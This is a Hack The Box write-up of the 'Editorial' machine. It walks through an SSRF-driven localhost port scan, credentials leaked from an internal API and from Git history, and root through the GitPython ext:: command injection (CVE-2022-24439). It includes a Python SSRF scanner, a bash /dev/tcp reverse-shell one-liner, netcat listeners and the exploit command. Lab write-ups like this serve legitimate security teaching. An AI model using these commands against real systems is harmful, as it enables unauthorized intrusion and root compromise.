~/writeups_
Hack The BoxEasyLinux

Editorial

A publishing web app lets us preview a book cover from a URL, giving a blind SSRF that we use to port-scan localhost and reach an internal API on port 5000. One of its endpoints leaks dev credentials for SSH. In dev's home a Git repo's history exposes a second set of credentials for the prod user. prod may run a GitPython clone script as root; GitPython 3.1.29 is vulnerable to CVE-2022-24439, an ext:: URL RCE, used to run a reverse shell as root.

TL;DR

Editorial is an Easy-difficulty Linux machine built around a publishing web application vulnerable to Server-Side Request Forgery (SSRF). The site’s “Publish with us” form fetches a book-cover image from a URL we supply, which we abuse to port-scan localhost and discover an internal API on port 5000. One of its endpoints leaks the welcome-email template containing dev credentials, which are reused for SSH. In the dev user’s home we find a Git repository whose history exposes a second credential pair for the prod user. Finally, prod may run a GitPython clone script as root; the installed version 3.1.29 is vulnerable to CVE-2022-24439, an ext:: URL remote code execution, which we combine with the sudo rule to get a root shell.

MachineOSDifficultyTarget IPPwnbox IP
EditorialLinuxEasy10.129.80.8610.10.15.144

Enumeration

We start by finding the open ports with a fast scan, then run service and script detection against just those ports:

Terminal window
ports=$(nmap -p- --min-rate=1000 -T4 10.129.80.86 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.129.80.86

The scan returns:

Terminal window
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-06 04:26 +0300
Nmap scan report for 10.129.80.86
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.49 seconds

Two services are exposed: OpenSSH on 22 and an nginx web server on 80 that redirects to editorial.htb. Since that hostname is not resolvable, browsing to the IP directly fails. We add the mapping to /etc/hosts:

Terminal window
echo "10.129.80.86 editorial.htb" | sudo tee -a /etc/hosts

Reloading, the site — a book publisher’s landing page — loads:

IMG-Editorial-3

The “Publish with us” form

Browsing the site, a Publish with us tab stands out. It presents a form where an author can submit a book, including a field to provide a book cover URL:

IMG-Editorial-4

Entering a URL and clicking Preview makes the browser send a POST request to the /upload-cover endpoint, as seen in Burp Suite:

IMG-Editorial-5

Confirming the SSRF

Whenever a server fetches a URL that the client controls, it is worth checking whether that request can be pointed back at the server’s own network — a Server-Side Request Forgery (SSRF). To test whether the server actually reaches out to the URL we supply, we start a listener on the Pwnbox:

Terminal window
nc -lvnp 9001

Then we put our Pwnbox address http://10.10.15.144:9001 into the cover URL field and click Preview. The listener receives a connection:

Terminal window
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.144] from (UNKNOWN) [10.129.80.86] 36960
GET / HTTP/1.1
Host: 10.10.15.144:9001
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

The server fetches our URL server-side using Python’s requests library, confirming the SSRF. Pointing it at a hosted reverse-shell payload does nothing useful — the server only downloads the file rather than executing it — so the real value here is reaching services bound to localhost that are not exposed externally.

Port-scanning localhost through the SSRF

We use the SSRF to enumerate internal services by pointing the cover URL at http://127.0.0.1:<port> for every port and watching for a response that differs from the normal “not an image” reply. A normal failed fetch returns a default .jpeg path, so we filter those out and print anything else:

import requests
url = "http://editorial.htb/upload-cover"
with open('a', 'wb') as f:
f.write(b'')
for port in range(1, 65536):
bookurl = {"bookurl": f"http://127.0.0.1:{port}"}
with open('a', 'rb') as f:
bookfile = {"bookfile": f}
resp = requests.post(url=url, data=bookurl, files=bookfile)
if resp.text.strip().endswith(".jpeg"):
continue
print(port, " - ", resp.text)

Port 5000 responds differently — an internal service is listening there that is not reachable from outside.

Reaching the internal API

We point the cover URL at http://127.0.0.1:5000, then right-click the preview image and choose Open image in new tab, which downloads the server’s response. Opening it reveals a JSON index of API endpoints:

{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

This lists several internal endpoints:

  • /api/latest/metadata/messages/promos
  • /api/latest/metadata/messages/coupons
  • /api/latest/metadata/messages/authors
  • /api/latest/metadata/messages/how_to_use_platform
  • /api/latest/metadata/changelog
  • /api/latest/metadata

The new_authors endpoint — described as the “welcome message sended to our new authors” — is the most promising, since onboarding messages often ship with default credentials.

Foothold

Leaking dev credentials from the API

We request the authors endpoint through the SSRF by supplying http://127.0.0.1:5000/api/latest/metadata/messages/authors as the cover URL and downloading the preview response. It returns the welcome-email template:

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

The template embeds a live credential pair:

  • Username: dev
  • Password: dev080217_devAPI!@

SSH as dev

We reuse these credentials over SSH:

Terminal window
ssh dev@editorial.htb

Entering the recovered password lands us a shell as dev, and we read the user flag:

Terminal window
dev@editorial:~$ cat user.txt
ea3*****************************

Privilege Escalation

A Git repository in dev’s home

Enumerating dev’s home directory, we find an apps folder that looks empty — but ls -la reveals a hidden .git directory, meaning this is a Git working tree. We check its state:

Terminal window
git status
Terminal window
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: app_api/app.py
deleted: app_editorial/app.py
deleted: app_editorial/static/css/bootstrap-grid.css
...
deleted: app_editorial/templates/upload.html
no changes added to commit (use "git add" and/or "git commit -a")

The working tree is stripped, but the history is intact. We review the commit log:

Terminal window
git log
Terminal window
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.

The commit messages tell a story: the API originally ran against a prod environment and was later “downgraded to dev”. That strongly suggests the earlier commits still contain the original production credentials. The feat: create api to editorial info commit (1e84a036...), which introduced the internal API, is the one to inspect.

Recovering prod credentials from history

We diff against that commit to see what changed in the API source since it was introduced:

Terminal window
git diff 1e84a036b2f33c59e2390730699a488c65643d28
Terminal window
diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..9d7e1d5 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,11 +64,11 @@ def index():
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
- 'template_mail_message': "Welcome to the team! ... Username: prod\nPassword: 080217_Producti0n_2023!@\n ..."
+ 'template_mail_message': "Welcome to the team! ... Username: dev\nPassword: dev080217_devAPI!@\n ..."
}) # TODO: replace dev credentials when checks pass

The diff shows that the welcome message used to ship the prod user’s credentials before they were swapped for the dev ones we already found:

  • Username: prod
  • Password: 080217_Producti0n_2023!@

We switch to the prod user over SSH:

Terminal window
ssh prod@editorial.htb

The password works, giving us a shell as prod.

Enumerating prod’s sudo rights

We check what prod may run as root:

Terminal window
sudo -l
Terminal window
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

prod can run a specific Python script as root with any arguments. We read it:

Terminal window
cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

The script takes a URL from us and hands it to GitPython’s clone_from, running as root. We check the installed version:

Terminal window
pip show GitPython
Terminal window
Name: GitPython
Version: 3.1.29
Summary: GitPython is a python library used to interact with Git repositories
Home-page: https://github.com/gitpython-developers/GitPython
Author: Sebastian Thiel, Michael Trier
Author-email: byronimo@gmail.com, mtrier@gmail.com
License: BSD
Location: /usr/local/lib/python3.10/dist-packages
Requires: gitdb
Required-by:

CVE-2022-24439 — RCE via a malicious clone URL

GitPython 3.1.29 is vulnerable to CVE-2022-24439. The library passes the clone URL to Git without properly validating it, so a URL using Git’s ext:: transport is interpreted as a shell command to execute. Because the script enables protocol.ext.allow=always and runs as root, we can supply an ext:: URL that runs any command with root privileges.

We first start a listener on the Pwnbox:

Terminal window
nc -lvnp 9001

Then, on the target, we drop a reverse-shell one-liner into a world-writable location:

Terminal window
echo "bash -i >& /dev/tcp/10.10.15.144/9001 0>&1" >> /dev/shm/shell.sh

Finally we invoke the sudo-allowed script with a crafted ext:: URL. The % acts as the argument separator, so Git runs sh -c "bash /dev/shm/shell.sh" as root:

Terminal window
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c bash% /dev/shm/shell.sh"

Back on the listener, a root shell lands:

Terminal window
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.144] from (UNKNOWN) [10.129.80.178] 52638
root@editorial:/opt/internal_apps/clone_changes#

We read the root flag:

Terminal window
root@editorial:/opt/internal_apps/clone_changes# cat /root/root.txt
********************************
Rooted

SSRF in the book-cover preview → port-scan localhost to find the internal API on 5000 → leak dev credentials from the authors endpoint and reuse over SSH → recover prod credentials from the Git history in dev’s home → abuse the sudo-allowed GitPython clone script with an ext:: URL (CVE-2022-24439) for a root shell.

Lessons Learned

  • Validate and restrict server-side URL fetches. The cover-preview feature fetched arbitrary URLs, letting us pivot into localhost and reach an internal API. Enforce an allow-list of destinations, block requests to private/loopback ranges, and never let user input drive raw outbound requests.
  • Don’t trust the network boundary to protect internal services. The API on port 5000 was only “secured” by being bound to localhost, yet it served plaintext credentials. Treat every service as reachable and require real authentication.
  • Keep credentials out of Git history. Rotating the app from prod to dev credentials left the originals permanently recoverable with a single git diff. Scrub secrets from history, rotate anything ever committed, and keep .git directories off deployment hosts.
  • Avoid running user-controlled input through vulnerable libraries as root. The sudo rule handed an attacker-supplied URL to a GitPython version vulnerable to ext:: command injection. Pin and patch dependencies, disable non-essential Git transports, and never pass untrusted arguments to a root-run helper.